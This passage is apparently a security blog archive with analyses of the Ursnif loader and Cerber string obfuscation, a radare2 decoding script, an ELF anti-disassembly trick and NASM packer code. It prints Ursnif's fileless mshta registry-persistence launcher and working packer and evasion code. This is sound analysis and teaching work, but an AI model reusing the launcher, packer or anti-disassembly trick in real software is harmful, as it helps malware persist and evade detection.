Le base64 est donc décodé, puis, le bot déchiffre avec sa clé RSA les 256 derniers octets de la réponse reçue. Ce bloc contient entre autres la clé de chiffrement Serpent du reste du bloc, ainsi que la taille et le hash MD5 du reste de la réponse. Si la clé Serpent ne contient que des octets nuls, le bot se contente juste de recopier la réponse.

Le premier retour renvoyé par le serveur est un PE, vraisemblablement le bot final (qui fera peut-être l'objet d'un futur article). Le deuxième retour, lui, est un script Powershell qui aura pour but de charger le PE en mémoire.

Les réponses sont stockées dans une structure que l'on pourrait définir comme il suit:

struct ReturnSlot
{
  PVOID pData;
  DWORD dwSize;
  DWORD dwMappedSize;
  PVOID pMappedImage;
};

La communication avec le C&C se fait plusieurs étapes:

Le malware commence par récupérer un PE 32 bits (la charge finale) depuis le C&C (le paramètre envoyé est "crc=1")
Le malware, si nous somme sur une machine 64 bits, récupère un PE 64bits (le paramètre envoyé est "crc=2")
Enfin, le malware récupère un script powershell, qui servira à lancer le bot ("crc=3")

Persistance et Powershell

Une fois les binaires et le powershell récupérés sur le serveur, le bot va enfin mettre en place sa persistance. Le bot commence par générer des noms à partir des dlls présentes sur le système, puis un nom de clé de la forme "Software\AppDataLow\Software\Microsoft{GUID}", avant de vérifier le niveau d'intégrité du process, et sortir si jamais il est en processus "restreint".

La fonction appelée invoque donc QueryTokenInformation, avec le paramètre TokenIntegrityLevel, qui renvoie le SID du niveau d'intégrité souhaité, comme ci-dessous.

La réponse va ensuite être traitée: les deux PE récupérés vont être mappés directement en mémoire. Puis, une fois mappés, le bot récupère l'adresse du premier export (qui se chargera de résoudre l'IAT et les relocations), et patche le début de la zone mémoire par un saut relatif vers cette fonction.

Le binaire mappé va ensuite être converti en tableau d'entiers, puis injecté dans le dernier payload (Powershell), à la place du placeholder "@CODE@". Le fichier PE récupéré sera ensuite chiffré par un simple xor avec la "graine" qui a servi pour générer l'ID du bot.

Puis, le bot va énumérer toutes les clés sous HKEY_USERS afin d'assurer sa persistance. Pour chaque sous-clé (c'est-à-dire le profil de chaque utilisateur), une sous-clé du nom ci-dessus sera généré. Le bot va sauvegarder les PE téléchargés et chiffrés dans une valeur REG_BINARY, dans les valeurs nommées Client32 (pour le payload 32-bits) et Client64 (pour le payload 64 bits), ainsi que le chargeur powershell sous un nom aléatoire.

Ensuite, un launcher JScript sera lui aussi enregistré dans la sous-clé, et aura pour rôle d'invoquer le loader Powershell. Enfin, la commande ci-dessous formatée avec wsprintf sera enregistrée dans HKCU\Software\Microsoft\CurrentVersion\Run pour assurer la persistance.

aMshtaAboutHtaA:                        ; DATA XREF: WriteLauncher+F3↑o
.bss:1000DB68                                         ; WriteLauncher+119↑o
.bss:1000DB68                 text "UTF-16LE", 'mshta "about:<hta:application><script>resizeTo(1,1)'
.bss:1000DB68                 text "UTF-16LE", ';eval(new ActiveXObject(',27h,'WScript.Shell',27h,')'
.bss:1000DB68                 text "UTF-16LE", '.RegRead(',27h,'%S\\%S\\%s',27h,'));if(!window.flag'
.bss:1000DB68                 text "UTF-16LE", ')close()</script>"',0
.bss:1000DC92 aHost           db 'Host:',0

Puis le bot va invoquer la commande ainsi générée pour lancer la charge finale, avant de récupérer le nom du module par lequel il s'est chargé, pour supprimer le fichier droppé lors de la première phase.

Ainsi ce loader assure une persistence du bot sans laisser de fichiers, laissant uniquement des artefacts dans le registre de la machine infectée.

Ursnif: analyse du loader

2020-01-26T12:00:00+01:00

Après une période de hiatus encore plus longue que ceux de l'auteur de Hunter x Hunter, je me décide enfin à rescussiter mon blog (et mon dépôt). Cet article (ainsi que les suivants) redeviendront en français

Entrons directement dans le vif du sujet, c'est-à-dire l'analyse du bot Ursnif, en particulier du loader dans ce premier article. Le sample étudié est disponible sur any.run, s'appelle "osdjhbfowjndbherfvo.bin" (et hash 1da2adf65ab9d928cf4996a4151b0de2a5649d7454556f2c3ab81322d14213a4).

Unpacking du sample

L'unpacking du sample se fait sans grosse difficulté: il suffit de placer un point d'arrêt sur la fonction VirtualAlloc et exécuter jusqu'au point d'arrêt, ce qui nous amène à ceci:

Le malware utilise la mémoire allouée pour recopier le code d'unpacking (puisque l'exécutable en mémoire sera écrasée par le binaire packé). Nous continuons l'exécution step-by-step, et nous arrivons à un moment à cet endroit:

En regardant le début de la zone mémoire pointée par EAX, on observe clairement ceci:

Il s'agit du PE final compressé par apLib (classique), qu'il suffira donc de dumper et décompresser avec par exemple ce script python, ou dumper la mémoire une fois la fonction de décompression (A20189) exécutée. Maintenant munis de notre sample, nous pouvons l'ouvrir dans IDA Pro.

Techniques anti-debug

Le sample est un module DLL, qui se lance au DLL_PROCESS_ATTACH. Le module incrémente un compteur de référence, crée un heap avant de lancer le thread principal du bot, dont voici le début.

Le thread commence par récupérer un handle sur son propre processus, avant d'invoquer une autre fonction pour le moins "mystérieuse":

En effet, cette fonction commence par rechercher l'adresse de la section .bss, remplir une liste chaînée contenant des informations sur chaque page de la section, avant de placer la page en PAGE_NOACCESS. Ce comportement semble étrange au premier abord, mais en regardant de plus près, le loader définit un Vectored Exception Handler dans clsContext_init. En effet, lorsque le bot tentera d'accéder aux données contenues dans .bss, il déclenchera un EXCEPTION_ACCESS_VIOLATION qui sera traité par le gestionnaire d'exception, que voici ci-dessous:

Le gestionnaire d'exception va donc se charger de déchiffrer les données contenues dans .bss, puis restaurer les permissions d'origine stockée dans la mystérieuse liste chaînée.

En pseudo-code C++, le contexte serait défini comme ci-dessous:

struct pageContext {
    DWORD dwPageNumber;
    DWORD fOldProtect;
    DWORD decryptKey;
    DWORD shouldDecrypt;
}

struct memContext {
    CRITICAL_SECTION m_critSect;
    std::list<pageContext> m_list;
    HANDLE m_hExceptionHandler;
    DWORD m_dwTlsIndex;
}

L'analyse de l'algorithme de chiffrement sera laissé en exercice au lecteur.

Analyse du bot

Une fois ceci fait, le sample récupère son chemin d'exécution, crée un thread qui invoque SleepEx en continu avant d'invoquer QueueUserAPC. Si l'on en croit la documentation de Microsoft:

When a user-mode APC is queued, the thread is not directed to call the APC function unless it is in an alertable state. After the thread is in an alertable state, the thread handles all pending APCs in first in, first out (FIFO) order, and the wait operation returns WAIT_IO_COMPLETION. A thread enters an alertable state by using SleepEx, SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx, or MsgWaitForMultipleObjectsEx to perform an alertable wait operation.

La fonction d'APC sera donc appelée après SleepEx.

Cette fonction invoque ensuite locateDataInBlob qui sert à récupérer des données incluses dans le binaire à partir d'un code, en l'occurence 0x408AF7E7.

Pour retrouver ces données, le bot a un tableau de structures à la suite de sa table des sections. La fonction locateDataInBlob va donc chercher ce tableau, puis analyser son contenu:

La structure peut être définie comme il suit:

struct botData {
    WORD magic; // vaut "JJ" dans notre exemple
    BYTE unused;
    BYTE flags;
    DWORD xorMask;
    DWORD tag;
    DWORD dataRVA;
    DWORD dwSize;
}

Si flags vaut 1, alors les données sont décompressées avec apLib, sinon il est juste extrait tel quel. Dans notre cas, il s'agit d'un autre "PE", compressé par apLib.

Une fois les données extraites, la fonction fait un xor avec le xorMask sur le 1er DWORD du binaire. Une fois le binaire décompressé, on remarque qu'il s'agit d'un PE Windows, mais dont les magic number pour l'en-tête DOS et PE ont été effacés. Les rajouter manuellement suffit à permettre le chargement du binaire obtenu.

Le bot quant à lui, va placer le chemin de lancement dans un file mapping de fichier dont le nom est le PID du process, puis créer de nouvelles sections pour mapper le PE obtenu avant de lui passer la main. Comme d'habitude, l'IDB est disponible sur le dépôt

L'analyse du loader touche à sa fin, à bientôt pour un nouvel article sur l'analyse de ce nouveau module !

Breaking Cerber strings obfuscation with Python and radare2

2016-04-16T16:22:00+02:00

Finally after almost two years of inactivity, I finally motivated myself and decided a new article on this blog ! In this article, I'll show how to use radare2 and especially its Python bindings to write a little tool able to decode a large part of Cerber ransomware encrypted strings, thanks to the help of radare2. So, let's begin with funny stuff ! :D

Overview

You'll obviously need to have radare2 installed, along with Python bindings. Also keep in mind that I'm using a mixture of radare2 internal API and radare2 commands (to workaround missing stuff/bugs in the bindings, mostly related to nonexistent support of unsigned char* parameters from Python), so this internal API can break any time. At this moment, I didn't find any Python 3 bindings, so I'm using Python 2 for this article.

After binary analysis and location of string obfuscation function, we find that Cerber uses this function for almost every string in the binary, which leads to boring analysis. To circumvent this, I wanted to write a little tool that will find every place where the function is called, and walk into the stack to find the arguments given to the function, and decode them manually. Obviously, finding cross-references and decoding instructions by hand is a daunting task, so we'll use radare2 engine to perform this task "easily".

Loading the binary and finding cross-references

Loading radare2 inside our python script is as easy as importing RCore class from r2.r_core, and creating a new instance of it. After this, we just need to load the file, and ask the RBin plugin to map the sections inside radare2. This can be achieved simply by doing:

from r2.r_core import RCore

core = RCore()
core.file_open("your_malware_here.exe", 0, 0)
# set base address manually, I didn't find how to do this automatically yet
core.bin_load(None, 0x400000)

Then, we want to perform analysis to identify called functions, and moreover, do a cross-references analysis to spot all call to our decryption function. To achieve this, we'll just send radare2 commands "af", and "aar" (which stand for "analyze functions" and "analyze references"), with

core.cmd0("af")
core.cmd0("aar")

Finally, we gets all xrefs for our function through the [code=python]core.xrefs_get(address)[/code], so we can iterate on them and get the address of the calling code. To sum up, to get the cross-references, we can do a code like this:

from r2.r_core import RCore

PROGRAM="sample.exe"
ADDRESS=0xdeadbeef

def process_xref(core, addr):
    # do something awesome :D
    pass

core = RCore()
core.file_open(PROGRAM, 0, 0)
core.bin_load(None, 0x400000)  # set base address manually
core.cmd0("af")
core.cmd0("aar")

for xref in core.get_xrefs(ADDRESS):
    process_xref(core, xref.addr)

More craziness: walk through the calling code

Once we located the place where the function is called, we now want to get its call stack, so we can find the string to be decrypted, its length and the decryption key, and call PyCrypto's RC4 decryption routine (yeah, strings obfuscation in Cerber is just plain lame RC4). So, to achieve this, we need to parse the code backwards, and unluckily for us, there isn't exposed methods to do this easily through the bindings. So I chose to implement the dumbest methods, which consists to go one byte backwards, try to decode the instruction, and loop until we encounter a "push" opcode.

So here is the method performing this, and returning a RAnalOp object (which saves us the burden to parse assembly code):

# Returns a RAsm
def disassemble_instr(inst, addr):
    return inst.op_anal(addr)


# Hack because radare2 doesn't expose API to find prev instruction in bindings
def get_prev_instr(inst, addr):
    return addr - 1


def find_prev_push(inst, addr):
    cur = get_prev_instr(inst, addr)
    found = False
    instr = None
    while not found:
        instr = disassemble_instr(inst, cur)
        found = (instr.type == 13)
        if not found:
            cur = get_prev_instr(inst, cur)
    return (cur, instr)

We can see in the code above that the "push" instruction is an instruction of type "13" for radare2 analyzer. We loop until we find a push instruction, and return the decoded instruction through analyzer, along with address of that instruction, to allow us to walk the code backwards.

So, to get our call parameters, we need to call three times our new "find_prev_push" function, which will return three "push" symbol instructions, and we'll able to fetch their values without hassle. We can now decode our strings, with the code below:

from r2 import r_core
from Crypto.Cipher.ARC4 import ARC4Cipher
from struct import pack


# Returns a RAsm
def disassemble_instr(inst, addr):
    return inst.op_anal(addr)


# Hack because radare2 doesn't expose API to find prev instruction in bindings
def get_prev_instr(inst, addr):
    return addr - 1


def find_prev_push(inst, addr):
    cur = get_prev_instr(inst, addr)
    found = False
    instr = None
    while not found:
        instr = disassemble_instr(inst, cur)
        found = (instr.type == 13)
        if not found:
            cur = get_prev_instr(inst, cur)
    return (cur, instr)


def process_xref(inst, addr):
    old, push = find_prev_push(inst, addr)
    str_addr = push.val
    old, push = find_prev_push(inst, old)
    str_len = push.val
    old, push = find_prev_push(inst, old)
    key = push.val

    if str_addr >= 0xffffffff or str_len >= 0xffffffff or key >= 0xffffffff:
        print("Manual decoding required at 0x%x" % addr)
        return
    if str_len > 1000:
        print("Strange strlen found %d at 0x%x" % (str_len, addr))
        return
    # Issue a command to print our string as hex format since r2 doesn't allow this
    # programmatically
    ciph = inst.cmd_str("p8 %d @0x%x" % (str_len, str_addr)).rstrip()
    ciph = ciph.rstrip().decode("hex")
    deciph = ARC4Cipher(pack("<I", key)).decrypt(ciph)
    print("%08x\t| %s" % (addr, deciph))

inst = r_core.RCore()
inst.file_open("macbook_tutorial.unpacked.exe", 0, 0)
f = inst.bin_load(None, 0x400000)

# Launch function analysis
inst.cmd0("af")
inst.cmd0("aar")

# Gets our xrefs
anal = inst.anal
xrefs = anal.xrefs_get(0x408545)  # decryption func
print(len(xrefs))
for xref in xrefs:
    process_xref(inst, xref.addr)

Limitations / Conclusion

As you may have seen in the code above, I added some checks because of weird behaviour that appeared in the real world: sometimes, interesting values are stored in registers and the register is pushed, leading to inconsistent values in what we fetch and decoding failure. Also, because of my dumb approach to grab previous instruction, some junk code is decoded as push, and we also get invalid decoding because of that. Learning how to use radare2 opcode emulation engine (ESIL ?) should solve most of the issues faced here.

However, we can programmatically use radare2's power to do interesting things (such as binary unpacking/shellcode recognition/whatever, or maybe obfuscation cleanup !), and automate boring tasks.

Hiding code in ELF binary

2013-12-11T19:59:00+01:00

Since I'm contributing to the radare2, I'm learning on how a disassembler works, and especially how ELF files are handled by disassemblers. I saw that almost (even every ?) disassemblers rely on ELF section headers (generally located at the end of the file), which has never used in reality (by Linux kernel or glibc) because ELF's mapping in memory is given by program header (another ELF structure, which I described in my article about ELF packer

So, we can easily hide code from disassemblers by manipulating virtual address fields of the ".text" section structure. I'll use an hexadecimal editor and the latest git revision of radare2 (which fixes a bug related to virtual address calculation in ELF binary), so I recommend you to have those tools installed of your computer to continue the reading of this article.

The trick

First, let's start with the following code:

int main() {
   printf("You will never see me !\n");
   return 0;
}

int foo() {
   return 1;
}

The goal of this article is to make disassemblers believe that the entrypoint of the binary is the "foo" function (and not the _start function added by gcc). First, let's compile the source code to work on the generated executable. Then we need to grab the offset of the "foo" symbol, by doing rabin2 -s | grep foo and note the offset of the symbol somewhere. Then we'll strip all symbols of the binary (to avoid corrupted disassembly in IDA) using the "strip" command on our binary.

Then we need to retrieve the section offset in the binary which is located at offset 0x20 of the file (for 32-bit executables, I don't have 64bit system yet so please tell me if it still works). Then we use radare2 (and the tool rabin2) to have the index in the array of sections of section .text we'll spoof.

So we execute rabin2 -S a.out | grep .text and note the "idx" field somewhere. To find the section we just need to compute section_offset + (idx+1)*0x28.

0x28 is the size of a section header entry, and we need to add 1 to the idx we got from radare2 because it seems to ignore the null section at the beginning. Then go to the offset calculated above, and then modify the "sh_offset" of the Elf_Shdr structure (at offset 0x10 relative to the beginning of the structure). Don't forget that we work in little endian (x86) when you edit the binary in your hex editor ! Then save the program, execute it (it should show "You will never see me !") and when you'll try to disassemble it, you will see the disassembly of the foo function as the entry point !

What happened and how to detect it ?

As I said in the introduction, kernel relies on the program header table (which generally follows the ELF header) and map PT_LOAD program headers into memory (see my articles on ELF packer I wrote). So, section headers are totally optional in ELF binaries, and are just metadata, since everything dynamic linkers need to know are stored in program headers of type PT_DYNAMIC. So we can easily spoof almost any section header without impact on a program's execution, but disassemblers (even IDA ;)) will be fooled and will produce incoherent disassembly, because disassemblers rely on section headers, which are not reliable.

Anyways, there are some ways to detect it. In almost binaries generated by compilers, virtual address usually have the same last digits of the offset. For exemple, 0x08048130 will match offset 0x130 in the file, or 0x0804956 can match offset 0x156. But with this manipulation we can see that offsets doesn't match at all virtual addresses, which can indicate that a binary was modified. Another way to detect it is to erase section header offset and size in the program header, which will force disassemblers (IDA and radare2 for instance) to rely on program headers for disassembly, or trying to fix section header manually.

Making ELF packer for fun and chocapicz (part 2)

2013-05-17T14:34:00+02:00

As promised, here is the second article about my ELF packer.
Here, I'll talk about dynamically-linked ELF (i.e. which has dependencies to ".so" modules), which is more tricky than the "basic" packer I showed before. The code is still NASM, and still under 32bit (feel free to rewrite the code to support 64-bit architecture ;))

Loading ld-linux

The first step needed here is loading the dynamic linker itself (because our asm program is standalone, so we don't have dynamic linker loaded at this time). To know which dynamic linker we have to use, let's read the filename contained in the "PT_INTERP" section.
Once the linker filename got, we have to map it into memory (and here, we can do it directly by opening the file and using the file descriptor returned, no need to "emulate" mapping). But, we have to take care of the "bss" section, which has to be zeroed after mapping of data section (the bss section is located at the end of file, according to Linux kernel code). I made a function which maps ld-linux.so into memory (quick and dirty code), and here is its code:

; This function (shortened to see the most interesting part) loads the interpreter into memory space
load_interp:
    push ebp
    mov ebp, esp
    sub esp, 1ch
    ; Zeroes some variables
    xor edx, edx
    mov [ebp-10h], edx
    mov [ebp-18h], edx
    mov [ebp-1ch], edx
    ; Get a FD to the dynamic loader
    xor ecx, ecx
    mov ebx, [ebp+8]
    mov eax, SYS_OPEN
    int 0x80
    test eax, eax
    jz exit
    mov [ebp-4], eax

    ; snipped code from previous article

    ; Start our job
    .loop:
        cmp dword[ebx+elf32_phdr.p_type], PT_LOAD
        jnz .next
            push ebx

            ;; push file offset

            mov eax, dword [ebx+elf32_phdr.p_offset] ; file offset
            ; remove page glitch to offset
            mov edx, dword [ebx+elf32_phdr.p_vaddr]
            and edx, 0xfff
            sub eax, edx     
            push eax ; push file offset

            ;; push file descriptor

            push dword [ebp-4] ; push fd

            ;; add "MAP_FIXED" flag if we already mapped something

            mov eax, MAP_PRIVATE | MAP_DENYWRITE ; flags
            cmp dword[ebp-10h], 0
            jz .no_fixed
            or eax, MAP_FIXED
            .no_fixed:
            push eax ; push flag

            ;; get read/write flags

            push ebx
            mov ebx, [ebx+elf32_phdr.p_flags]
            call get_map_prot
            pop ebx
            push eax ; push flags

            ;; push size of mapping

            mov eax, dword [ebx+elf32_phdr.p_memsz]
            ; add remainder
            mov edx, dword [ebx+elf32_phdr.p_vaddr]
            and edx, 0fffh
            add eax, edx
            ; round it up to 1 page
            add eax, 1000h
            and eax, 0fffff000h
            push eax

            ;; get RVA where to map it and add imagebase to it

            mov eax, dword [ebx+elf32_phdr.p_vaddr]
            add eax, [ebp-10h]
            and eax, 0fffff000h
            push eax ; voffset

            mov ebx, esp
            mov eax, SYS_MMAP
            int 0x80
            add esp, 24

            pop ebx

            ;save image base if not stored
            cmp dword[ebp-10h], 0
            jnz .nosaved
            mov [ebp-10h], eax
            mov ebx, eax
            add ebx, dword [ebx+elf32_hdr.e_phoff]
            .nosaved: 

            ;; Save elf_bss and map_bss as Linux kernel does

            ;save elf_bss if greater than stocked
            mov edx, [ebp-10h]
            add edx, dword[ebx+elf32_phdr.p_filesz]
            add edx, dword[ebx+elf32_phdr.p_vaddr]
            cmp dword[ebp-18h], edx
            ja .no_elf_bss
                mov [ebp-18h], edx
            .no_elf_bss:

            ;save map_bss if greater than stocked
            mov edx, [ebp-10h]
            add edx, dword[ebx+elf32_phdr.p_memsz]
            add edx, dword[ebx+elf32_phdr.p_vaddr]
            cmp dword[ebp-1ch], edx
            ja .no_map_bss
                mov [ebp-1ch], edx
            .no_map_bss:

        .next:
        add ebx, 32
        dec ecx
    jnz .loop
    ; Now, fill of zeros padding between last_bss and end of file
    mov ecx, [ebp-18h] ; grab elf_bss
    mov edi, ecx
    add ecx, 1000h
    and ecx, 0fffff000h ; align it to one page
    sub ecx, edi
    xor eax, eax
    rep stosb
    mov eax, [ebp-14h]
    add eax, [ebp-10h]
    leave
    ret 4

get_map_prot:
    xor eax, eax
    test ebx, PF_R
    jz .test_w
    or eax, PROT_READ
    .test_w:
    test ebx, PF_W
    jz .test_x
    or eax, PROT_WRITE
    .test_x:
    test ebx, PF_X
    jz .next
    or eax, PROT_EXEC
    .next:
    ret

This function returns the entry point of the dynamic linker, in order to be called after, and the function "get_map_prot" returns permissions according to section flags in ELF.

But, even if we map ld-linux, our job is not done here, there is extra initialization to do before.

Auxiliary vectors

When Linux kernel loads a executable file, it puts some stuff in the stack after envp (and of course, argc and argv). This zone is called "auxiliary vectors", because of its name "auxp" in ld-linux code. So, to have something working properly, we'll have to modify some of this auxiliary vectors, but we'll have to find them before. To do this, here is the code:

; Finds the auxp array (after endp)
find_auxp_array:
  lea eax, [ebp+8] ; ptr to argv
  mov ecx, [ebp+4]
  lea eax, [eax + 4*ecx] ;ptr to envp
  .loop:
    add eax, 4
    cmp dword[eax], 0
    jnz .loop
    add eax, 4
  ret

This code has to be called in the "main" function which has to have a stack frame, because it uses stack frame of main function to grab argument pointer. Then it lookups envp pointer array in odrer to locate auxp array.

An auxp element is a structure which is:

typedef struct
{
  int a_type;                   /* Entry type */
  union
    {
      long int a_val;           /* Integer value */
      void *a_ptr;              /* Pointer value */
      void (*a_fcn) (void);     /* Function pointer value */
    } a_un;
} Elf32_auxv_t;

Each auxiliary vector has an ID which specifies the type of data contained in the vector. For us, we'll need to update stuff related to ELF header, and more especially related to program header table (and also the entry point), because ld-linux uses these vectors. So, we'll need to modify AT_PHNUM and AT_ENTRY vectors (we don't change AT_PHDR, we assume program header is still at the same place), which is done here:

    call find_auxp_array
    ; change data in auxp vectors
    .auxp_loop:
        cmp dword[eax], 0
            jz .auxp_end ; jump if no auxp vectors
        cmp dword[eax], AT_PHNUM
        jnz .no_phnum
            movzx ebx, word[edx+elf32_hdr.e_phnum]
            mov dword[eax+4], ebx
        .no_phnum:
        cmp dword[eax], AT_ENTRY
        jnz .no_entry
            mov ebx, [edx+elf32_hdr.e_entry]
            mov dword[eax+4], ebx
        .no_entry:
        add eax, 8
        jmp .auxp_loop
    .auxp_end:
    ; program has PT_INTERP, map it into mem
    push dword[ebp-dynamic]
    call load_interp

Then, once all these initializations done, enjoy ur ELF packer :].

Source code of this can be found at this address

Making ELF packer for fun and chocapicz

2013-05-07T18:51:00+02:00

I recently decided to make an ELF packer, in order to learn some cool stuff about Linux kernel and ELF format, so I'll write 2 or 3 articles in this blog to explain some stuff I discovered. To write this article, I use NASM and a x86 linux kernel (yeah guys, I'm still on a x86 archlinux). But before, let's listen to some music

Overview

In this article (and the next(s) which will follow), I decided to make a "real" packer as we can see in win32, i.e. a packer which replaces its memory image by the packed binary's image.

First of all, the packer has to unmap its sections from memory (to make some space to map the "real" binary), but if we do this, we'll execute code which will no longer exist, and it's not a good idea. So, we have to map memory elsewhere, copy our code into that space and continue execution from it to avoid problems. The code into the new memory space will just unmap the old binary, maybe uncompress/decrypt the real binary, and map it into the memory, and then jump to its entry point.

In fact, it's more difficult than this if the binary is dynamically-linked to other libraries, because we'll have to load the dynamic linker manually, and do a lot of extra stuff to get it working (contrary to win32 which loads ntdll.dll by default and does all init stuff in LdrInitializeThunk). So I'll talk about "standalone" or statically-linked binaries packing.

Some thoughts about ELF header

As you may probably know, linux binaries have an ELF header, which describes where is the entry point, how binary is mapped in memory, what are the sections and other stuff like this. Two components are interesting here for us: the ELF header itself, which will give to us the real entry point, and also the "Program Header" which describes how the binary has to be mapped into the memory. So, here are these structures:

/* ELF header */

typedef struct {
   unsigned char   e_ident[ELF_NIDENT];   /* magic number et al. */
   u_int16_t       e_type;                /* type of file this is */
   u_int16_t       e_machine;             /* processor type file is for */
   u_int32_t       e_version;             /* ELF version */
   u_int32_t       e_entry;           /* address of program entry point */
   u_int32_t       e_phoff;           /* location in file of phdrs */
   u_int32_t       e_shoff;           /* ignore */
   u_int32_t       e_flags;           /* ignore */
   u_int16_t       e_ehsize;          /* actual size of file header */
   u_int16_t       e_phentsize;       /* actual size of phdr */
   u_int16_t       e_phnum;           /* number of phdrs */
   u_int16_t       e_shentsize;       /* ignore */
   u_int16_t       e_shnum;           /* ignore */
   u_int16_t       e_shstrndx;        /* ignore */
} Elf32_Ehdr;

/* Program header */

typedef struct {
   u_int32_t       p_type;      /* Type of segment */
   u_int32_t       p_offset;    /* Location of data within file */
   u_int32_t       p_vaddr;     /* Virtual address */
   u_int32_t       p_paddr;     /* Ignore */
   u_int32_t       p_filesz;    /* Size of data within file */
   u_int32_t       p_memsz;     /* Size of data to be loaded into memory*/
   u_int32_t       p_flags;     /* Flags */
   u_int32_t       p_align;     /* Required alignment - can ignore */
} Elf32_Phdr;

Here we just need the e_entry, e_phoff and e_phnum fields of the Elf32_Ehdr structure to have offset and number of Elf32_Phdr entries. For the Elf32_Phdr structure, we need to check if p_type is equal to PT_LOAD (we don't give a fuck about other segment types, they do not contain any useful information for us). If it's equal, we'll need p_offset, p_vaddr, p_filesz and p_memsz fields to have information about memory mapping.
And, unlike Win32 and PE header, nothing is aligned in ELF header, so we'll need to get our hands dirty and align everything by yourselves (the program excepts to have the byte of the file at the p_offset at the p_vaddr of the memory).

Btw, if you are interested, I wrote a NASM header to work with elf easier that you can download here.

Let's code baby !

The first "problem" to avoid, as I said in the first part is to copy the code into an empty section. So, we'll use some nasm magic, and do a code like this:

_start:

   ;; mapping stuff (eax contains mapping addr)

   mov ecx, (packer_end - packer_start)
   mov esi, packer_start
   mov edi, eax
   rep movsb

   jmp eax

packer_start:
   ;; some code and data
packer_end:

We'll also need to know where all the data needed is stored in the mapping, which can be done by storing mapping base (contained in eax) into a local variable and adding data offset relative to packer_start to it. Now, let's go deeper in the packer code. First of all, it saves the offset. Then it grabs its program header table offset and number of elements, multiplies the number of elements by the program header's size to have the number of bytes to allocate (because the original program header table will be unmapped by the program and we'll get a segfault if we try to access to unmapped memory, so we need to copy the program header table elsewhere).

do_work:
    push ebp
    mov ebp, esp
    sub esp, 14h
    mov [ebp-offset], eax ; save calculated offset
    xor eax, eax
    mov [ebp-dynamic], eax

    ;; Gets offset and header

    mov edx, 0x08048000
    mov ebx, [edx+elf32_hdr.e_phoff]
    add ebx, edx
    mov esi, ebx
    ; Calculates the right number of sections
    movzx eax, word [edx+elf32_hdr.e_phnum]
    movzx ecx, word [edx+elf32_hdr.e_phentsize]
    push eax ; save number of sections
    mov edx, ecx

    mul cx
    push eax ; save number of bytes to copy
    add eax, 1000h
    and eax, 0fffff000h
    mov [ebp-tempsize], eax

Then it maps new memory space and copies the program header table in the new allocated memory.

    ;; Maps a section to contain self's program header

    push 0  ; offset
    push -1 ; fd
    push MAP_PRIVATE | MAP_ANONYMOUS ; flags
    push PROT_READ | PROT_WRITE ; protections
    push eax ; calculated size
    push 0   ; no adress
    mov ebx, esp
    mov eax, SYS_MMAP
    int 80h ; syscall
    add esp, 24
    ; copy program headers
    mov [ebp-tempmap], eax
    mov edi, eax
    pop ecx
    rep movsb

    ; Point to first program header
    pop ecx
    mov ebx, eax

It unmaps all the sections of the binary and unmaps the mapping just created once the job done.

    ;; unmap old ELF sections

    .loop:
        cmp dword[ebx+elf32_phdr.p_type], PT_LOAD
        jnz .next
        push ebx ; push program header offset
        call unmap_stuff
        .next:
        add ebx, edx
        dec ecx
    jnz .loop

    ;; Cleanup old mapping
    mov ebx, [ebp-tempmap]
    mov ecx, [ebp-tempsize]
    mov eax, SYS_MUNMAP
    int 0x80

Then, the packer grabs the original ELF binary (I didn't compress it for the PoC), reads its program header table, and maps the section if PT_LOAD is found. I also check if PT_INTERP exists, and if it's the case, we'll make the packer abort (because we don't map the dynamic linker in this article and without it, we can't do anything).

    mov edx, (packedbin-do_work)
    add edx, [ebp-offset] ; get elf in memory
    mov ebx, [edx+elf32_hdr.e_phoff]
    add ebx, edx
    movzx ecx, word[edx+elf32_hdr.e_phnum]

    .loop2:
        ; check if it's a loading information segment
        cmp dword[ebx+elf32_phdr.p_type], PT_LOAD
        jnz .no_load
            push dword [ebx+elf32_phdr.p_flags] ; protections
            push dword [ebx+elf32_phdr.p_memsz] ; virtual size
            push dword [ebx+elf32_phdr.p_vaddr] ; virtual address
            push dword [ebx+elf32_phdr.p_filesz] ; file size
            mov eax, dword [ebx+elf32_phdr.p_offset] ; offset
            add eax, edx
            push eax
            call fake_map
        .no_load:
        ; check if it's a dynamic section
        cmp dword[ebx+elf32_phdr.p_type], PT_INTERP
        jnz .no_dynamic
            mov eax, [ebx+elf32_phdr.p_vaddr]
            mov [ebp-dynamic], eax
        .no_dynamic:
        ; switch to next program header entry
        add ebx, 32
        dec ecx
    jnz .loop2

    mov eax, [ebp-dynamic]
    test eax, eax
    jnz .load_interp
        ; program doesn't have PT_INTERP, jmp to its entry point
        mov eax, [edx+elf32_hdr.e_entry]
        jmp .gtfo
    .load_interp:
        ; we don't load interpreter for the moment, simply GTFO and abort.
        jmp exit
    .gtfo:
    leave
    jmp eax

Now, let's have a look about the "fake_map" function. In the traditional way, Linux kernel opens a file descriptor to the ELF binary, and uses it to map the binary file at different offsets with different sizes (and different permissions of course) as described in the program header table. But, here, we don't have any file descriptor, and we'll have to emulate mapping by hand, what does the "fake_map" function. To simplify code and avoid mprotect syscall I set all the permissions on "rwx" (which is really UGLY, I know). Here is the code, I hope with enough comments:

%define offset 8
%define size 0ch
%define base 10h
%define map_size 14h
%define elf_flags 18h 
fake_map:
    push ebp
    mov ebp, esp
    push ebx
    push esi
    push edi
    push ecx

    ; do the mmap   
    push 0  ; offset
    push -1 ; fd
    push MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED ; flags
    push PROT_READ | PROT_WRITE | PROT_EXEC ; permissions

    ;; Align mapping size

    mov eax, dword[ebp+map_size] ; mapping size
    ; add padding to ELF
    mov ebx, dword[ebp+base]
    and ebx, 0xfff
    add eax, ebx
    ; align size to a page
    add eax, 1000h
    and eax, 0fffff000h
    ;push new size
    push eax

    ;; Align base

    mov eax, dword[ebp+base] 
    and eax, 0fffff000h
    push eax  ; push base

    mov ebx, esp
    mov eax, SYS_MMAP
    int 80h ; syscall
    add esp, 24

    ;; Copy the in-memory file into the section

    mov edi, eax
    ; align the offset
    mov esi, [ebp+offset]
    mov eax, [ebp+base]
    and eax, 0fffh
    sub esi, eax
    mov ecx, [ebp+size]
    add ecx, eax
    rep movsb

    pop ecx
    pop edi
    pop esi
    pop ebx
    leave
    ret 14h

If you want to test by yourself, you can download the code [nasm](http://repo.aassfxxx.infos.st/misc/asm/packer_lame.asm)

Andromeda 2.07 analysis

2013-03-23T17:13:00+01:00

Hi folks !
As it's spring (and I've not written something for a while), malwares get updated, and this is also the case for Andromeda which got an update. I know I already wrote something about previous version, but this version has some fun tricks, so let's reverse it to see these tricks :)

First analysis

When we load the executable for the first time in OllyDBG, we get this

